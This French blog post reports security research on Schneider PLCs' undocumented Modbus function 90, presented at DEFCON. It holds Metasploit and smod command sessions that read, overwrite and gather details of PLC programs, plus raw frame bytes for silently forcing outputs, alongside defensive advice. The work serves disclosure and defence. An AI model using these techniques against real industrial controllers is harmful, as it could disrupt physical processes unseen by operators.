Fun with Modbus 0x5A

Lors de la dernière édition de la DEFCON, nous avons présenté nos travaux de R&D concernant un protocole propriétaire Schneider à l’ICS Village, espace dédié à la sécurité des SI industriels.

Vous pouvez retrouver notre intervention en vidéo : https://www.youtube.com/watch?v=A_B69Rifu1g
Revenons sur ces travaux et la manière dont ils peuvent être exploités.

 

Le protocole Modbus

Le protocole Modbus est un standard de communication utilisé dans les SI industriels. Développé dans les années 70 sur liaison série RS-485, il est désormais très répandu dans sa version TCP utilisable sur une liaison Ethernet classique.
Le protocole Modbus défini un certain nombre de fonctions, qui servent majoritairement à lire/écrire des données sur un automate programmable industriel.
root@kali:mbtget-master# ./mbtget -r3 -a 0 -n 8 192.168.0.110
values:
  1 (ad 00000):     1
  2 (ad 00001):     0
  3 (ad 00002):     0
  4 (ad 00003):     1
  5 (ad 00004):     0
  6 (ad 00005):     0
  7 (ad 00006):     0
  8 (ad 00007):     0
Lecture de données Modbus avec le programme « mbtget »

 

D’autres fonctions Modbus existent, comme l’indique ce tableau provenant du standard officiel :
Spécifications du protocole Modbus (http://www.modbus.org/docs/Modbus_Application_Protocol_V1_1b3.pdf)

 

Il est possible d’identifier la liste des fonctions Modbus supportées par un automate, par exemple avec l’outil smod:
root@kali:~/smod# python smod.py 
< SMOD >
 ------- 
        \   ^__^
         \  (xx)\_______
            (__)\       )\/\
             U  ||----w |
                ||     ||
          --=[MODBUS Penetration Test FrameWork
       --+--=[Version : 1.0.4
       --+--=[Modules : 23
       --+--=[Coder   : Farzin Enddo
          --=[github  : www.github.com/enddo

SMOD > use modbus/scanner/getfunc
SMOD modbus(getfunc) > show options
 Name     Current Setting  Required  Description                                 
 ----     ---------------  --------  -----------                                 
 Output   True             False     The stdout save in output directory         
 RHOSTS                    True      The target address range or CIDR identifier 
 RPORT    502              False     The port number for modbus protocol         
 Threads  1                False     The number of concurrent threads            
 UID      None             True      Modbus Slave UID.                           
SMOD modbus(getfunc) > set RHOSTS 192.168.0.110
SMOD modbus(getfunc) > set UID 1
SMOD modbus(getfunc) > exploit
[+] Module Get Function Start
[+] Looking for supported function codes on 192.168.0.110
[+] Function Code 1(Read Coils) is supported.
[+] Function Code 2(Read Discrete Inputs) is supported.
[+] Function Code 3(Read Multiple Holding Registers) is supported.
[+] Function Code 4(Read Input Registers) is supported.
[+] Function Code 5(Write Single Coil) is supported.
[+] Function Code 6(Write Single Holding Register) is supported.
[+] Function Code 8(Diagnostic) is supported.
[+] Function Code 15(Write Multiple Coils) is supported.
[+] Function Code 16(Write Multiple Holding Registers) is supported.
[+] Function Code 22(Mask Write Register) is supported.
[+] Function Code 23(Read/Write Multiple Registers) is supported.
[+] Function Code 43(Read Device Identification) is supported.
[+] Function Code 90 is supported.

 

On peut ainsi utiliser les fonctions de diagnostique pour identifier précisément l’automate, en l’occurrence un Schneider M340 :

 

La fonction Modbus 0x5a

Historique

L’utilisation du protocole Modbus pour la programmation des automates Schneider a été révélée publiquement grâce aux travaux du projet Basecamp lors de la célèbre conférence S4, dédiée à la sécurité des SI industriels : http://www.digitalbond.com/blog/2012/01/19/project-basecamp-at-s4/
Vous pouvez retrouver les vulnérabilités identifiées sur les systèmes Schneider (et bien d’autres) dans la présentation de Reid Wightman : https://youtu.be/dtadMIN3CCc?t=35m29s
Nous avions déjà évoqué cette fonctionnalité dans notre article dédié au pentest d’automates dans le magazine MISC 74 . Il suffit d’observer les trames réseau échangées entre Unity Pro et l’automate lors de sa programmation pour identifier que c’est le protocole Modbus qui est utilisé, via une fonction non-documentée (90) :

 

Capture réseau des échanges entre le logiciel de programmation et un automate Schneider

 

Comme les autres fonctions Modbus, il n’existe aucun mécanisme de sécurité pour ce protocole de programmation : il suffit d’avoir un accès réseau sur le port TCP 502 d’un automate pour pouvoir réaliser des actions d’administration.

 

Récupération du programme automate

La récupération du programme de l’automate n’était, en tout cas dans nos tests, pas totalement fonctionnelle dans le module publié lors du projet Basecamp. Nous avions pu le modifier légèrement afin de prendre en compte des programmes de taille plus importante. Nous avons simplement eu à modifier un compteur pour la rendre fonctionnelle. Détaillons son utilisation.
  • Création d’une archive programme vide : Dans le logiciel Unity Pro, ouvrons un programme existant et enregistrons-le en tant qu’archive (« .sta »)
  • Récupérons le programme de l’automate
msf auxiliary(modicon_stux_transfer_ASO) > set ACTION DOWNLOAD
ACTION => DOWNLOAD
msf auxiliary(modicon_stux_transfer_ASO) > run

[*] 192.168.0.110:502 - MODBUS - Sending read request
[*] 192.168.0.110:502 - MODBUS - Retrieving file
[*] 192.168.0.110:502 - MODBUS - Closing file  '/opt/metasploit/apps/pro/msf3/data
/exploits/modicon_ladder.apx'
[*] Auxiliary module execution completed
msf auxiliary(modicon_stux_transfer_ASO) >
  • Insérons le fichier « .apx » dans l’archive
root@kali:~# file demo_archive.sta 
demo_archive.sta: Zip archive data, at least v1.0 to extract
root@kali:~# unzip demo_archive.sta
Archive:  demo_archive.sta
   creating: BinAppli/
  inflating: BinAppli/Station.apd    
  inflating: BinAppli/Station.apx    
  inflating: STATION.CTX             
 extracting: TA.xma                  
   creating: ThirdParty/
root@kali:~/unity# cp /opt/metasploit/apps/pro/msf3/data/exploits/modicon_ladder.apx 
BinAppli/Station.apx
root@kali:~/unity# ls
BinAppli  demo_archive.sta  STATION.CTX  TA.xma  ThirdParty
root@kali:~/unity# rm BinAppli/Station.apd
root@kali:~/unity# zip demo_archive2.sta -r BinAppli/ STATION.CTX  TA.xma  ThirdParty/
  adding: BinAppli/ (stored 0%)
  adding: BinAppli/Station.apx (deflated 61%)
  adding: BinAppli/Station.apd (deflated 19%)
  adding: STATION.CTX (deflated 58%)
  adding: TA.xma (stored 0%)
  adding: ThirdParty/ (stored 0%)
root@kali:~/unity#
  • Ouvrons le fichier dans Unity : il suffit ensuite d’ouvrir le fichier avec Unity pro pour accéder au programme :

Affichage du code « ladder » dans Unity Pro

 

La vidéo ci-dessous montre l’utilisation du module pour télécharger le programme et vérifier qu’il s’agit du même que celui issu de Unity Pro : https://www.youtube.com/watch?v=xRbulEX3_3o
La démarche inverse, reprogrammer l’automate, est également possible en théorie. En revanche, nous n’avons pas réussi à le rendre fonctionnel. Lors de l’upload d’un nouveau programme, nous obtenons ensuite cette erreur :

 

 

L’automate a bien été reprogrammé, mais il ne reconnaît pas le programme transmis et considère donc qu’il n’est pas programmé. Cette attaque permet donc plutôt un déni de service.

Récupération des informations du programme

L’analyse des trames échangées lors de l’initialisation de la connexion entre le logiciel de programmation légitime (Unity Pro) et l’automate permet d’identifier qu’un certain nombre d’informations sont envoyées par l’automate.

Capture réseau entre Unity Pro et un automate Schneider M340

 

Nous avons donc modifié le module Metasploit précédent afin de permettre la récupération de ces informations :
msf > use auxiliary/admin/scada/modicon_stux_transfer_ASO 
msf auxiliary(modicon_stux_transfer_ASO) > show actions

Auxiliary actions:

   Name          Description
   ----          -----------
   DOWNLOAD      Download the ladder logic from the PLC
   GATHER_INFOS  Get informations about the PLC configuration
   UPLOAD        Upload a ladder logic file to the PLC


msf auxiliary(modicon_stux_transfer_ASO) > set ACTION GATHER_INFOS 
ACTION => GATHER_INFOS
msf auxiliary(modicon_stux_transfer_ASO) > show options

Module options (auxiliary/admin/scada/modicon_stux_transfer_ASO):

   Name      Current Setting                     Required  Description
   ----      ---------------                     --------  -----------
   FILENAME  [...]/modicon_ladder.apx            yes       The file to send or receive
   RHOST                                         yes       The target address
   RPORT     502                                 yes       The target port


Auxiliary action:

   Name          Description
   ----          -----------
   GATHER_INFOS  Get informations about the PLC configuration


msf auxiliary(modicon_stux_transfer_ASO) > set RHOST 192.168.0.110
RHOST => 192.168.0.110
msf auxiliary(modicon_stux_transfer_ASO) > run

[*] Sending initialization requests ...
[+] PLC model : BMX P34 2030
[+] Project name : Test - Project ABC 123 Yolo
[+] Project comments : this is where the comments are put. YOLO @@@ !!!
[+] Unity Pro software version : V5.0
[*] Auxiliary module execution completed

Récupération d’information via le module Metasploit

 

Ces informations concordent avec celles obtenues graphiquement dans le logiciel légitime :

 

Informations sur le projet dans Unity pro

 

Forçage de valeurs

Le logiciel Unity Pro embarque également des fonctionnalités de simulation et de « forçage » des valeurs de l’automate. En effet, lors de l’installation d’un nouveau procédé industriel, il peut s’avérer pratique de « fausser » la valeur d’une variable pour simuler une action ou une situation spécifique. L’équivalent dans le monde informatique serait de « coder en dur » la valeur d’une variable.
Cette opération se réalise dans Unity Pro par la création d’une « table d’animation » dans laquelle on va renseigner les variables à forcer :

 

Forçage de valeurs à 1 dans Unity Pro

 

Via l’analyse des trames réseau échangées lors du forçage de valeurs, il a été possible de comprendre partiellement le protocole. Ci-dessous, on présente une comparaison des trames pour forcer la sortie %Q0.17 à 1, et forcer la sortie %Q0.18 à 0 :
[…]\x04\x00\x00\x00\x01\x00\x01\x20\x02\x01\x00\x11\x00\x01\x00\x00\x00\x03
[…]\x04\x00\x00\x00\x01\x00\x01\x20\x02\x01\x00\x12\x00\x01\x00\x00\x00\x02
Un octet permet de déterminer la sortie à forcer :
  • 0x11 pour la sortie %Q0.17
  • 0x12 pour la sortie %Q0.18

La valeur de forçage est déterminée par le dernier octet :

  • 0x03 pour 0
  • 0x02 pour 1
  • 0x04 pour annuler le forçage
Dans la vidéo ci-dessous, on démontre le fonctionnement du module Metasploit en alternant les valeurs de forçage des sorties 17 à 23 : https://www.youtube.com/watch?time_continue=2&v=D1p2ni0eGhc

 

Pourquoi cette fonction est-elle intéressante du point de vue d’un attaquant ?

Dans un SI industriel en fonctionnement, les opérateurs ne surveillent pas le procédé avec Unity pro, mais un logiciel de supervision de type SCADA ou DCS, qui va leur permettre d’avoir une vue d’ensemble du précédé et de pouvoir interagir avec les différents composants. Ce logiciel va donc interroger, à intervalle régulier, les automates pour afficher les valeurs correspondantes à l’opérateur.
Cependant, dans la majorité des cas, ces logiciels ne vont pas directement afficher la valeur des sorties des automates ; des variables intermédiaires ou calculées sont utilisées. Ainsi, un attaquant capable de forcer la valeur des sorties de l’automate va pouvoir influencer le procédé physique, sans pour autant que cela soit visible du point de vue de l’opérateur en train de superviser le procédé.
Une démonstration live a été faite lors de la DEFCON. On peut observer que la valeur du feu rouge sur le logiciel de supervision IGSS reste fixe, tandis qu’en manipulant directement les variables de sortie on peut influencer sur la couleur du feu physique : https://www.youtube.com/watch?v=A_B69Rifu1g
 
Le module Metasploit n’étant pas totalement finalisé, il n’a pas fait l’objet d’une pull request vers le dépôt officiel. Vous pouvez néanmoins le trouver ici : https://github.com/wavestone-cdt/ics-tools.

 

Conclusion et sécurisation

Ces travaux ont été principalement réalisés sur des automates Schneider Premium et M340. Ils sont partiellement portables sur les nouvelles générations (par exemple M221) avec quelques ajustements. En effet, une capture réseau lors de la programmation d’un automate M221 montrera que c’est bien la fonction Modbus 90 qui est utilisée pour la programmation, mais de manière légèrement différente. Elle peut également être utilisé pour la mise en mode START ou STOP, ainsi que pour le forçage des valeurs de sortie.

 

Qu’en est-il ailleurs ?

L’utilisation de protocoles de communication non-sécurisés pour la programmation et la maintenance des automates programmables industriels est encore une réalité en cette fin d’année 2017. L’exemple ici présenté ne vise pas à cibler la marque Schneider en particulier. La grande majorité des constructeurs d’automates utilisent des protocoles non authentifiés pour la programmation. On pourrait notamment citer le cas de la majorité des automates reposant sur la bibliothèque CodeSys, comme démontré (là aussi) par Reid Wightman : http://www.digitalbond.com/blog/2012/10/25/new-project-basecamp-tools-for-codesys-200-vendors-affected/.

 

Que faire ?

La sécurisation d’un SI industriel doit donc prendre en compte le fait qu’un accès réseau sur le port TCP 502 permet d’accéder à la logique de l’automate, de la modifier mais également de forcer certaines valeurs, ce qui permet à un attaquant de mener une attaque qui ne sera pas visible de l’opérateur.
Les dernières versions d’automates, notamment dans les gammes les plus chères, incluent désormais des fonctions de sécurisation. L’approche la plus fréquente est d’encapsuler les protocoles non-sécurisés dans un tunnel authentifié et chiffré, avec TLS (Siemens) ou IPSEC (Schneider). Il conviendra cependant d’évaluer le bon niveau de sécurité de ces nouvelles fonctionnalités.
Il faut donc commencer par appliquer les bonnes pratiques de cloisonnement réseau, et superviser les actions d’administration. On peut par exemple mettre en place une sonde de type IDS avec une signature dédiée à la fonction 90 de Modbus.
Enfin, un axe d’amélioration axé métier serait la mise en place de mécanismes de contrôle d’intégrité au niveau des automates et du SCADA, permettant de s’assurer que les variables utilisées reflètent la réalité du procédé physique. On pourrait ainsi imaginer l’insertion, dans la logique de l’automate, quelques fonctions visant à assurer la détection d’une incohérence entre une valeur intermédiaire et une valeur de sortie. De la même manière, il serait intéressant pour le logiciel SCADA de pouvoir notifier l’opérateur lorsque des valeurs sont forcées, mais cette capacité n’est, à notre connaissance, pas proposée par les automates étudiés.

Arnaud SOULLIE
Back to top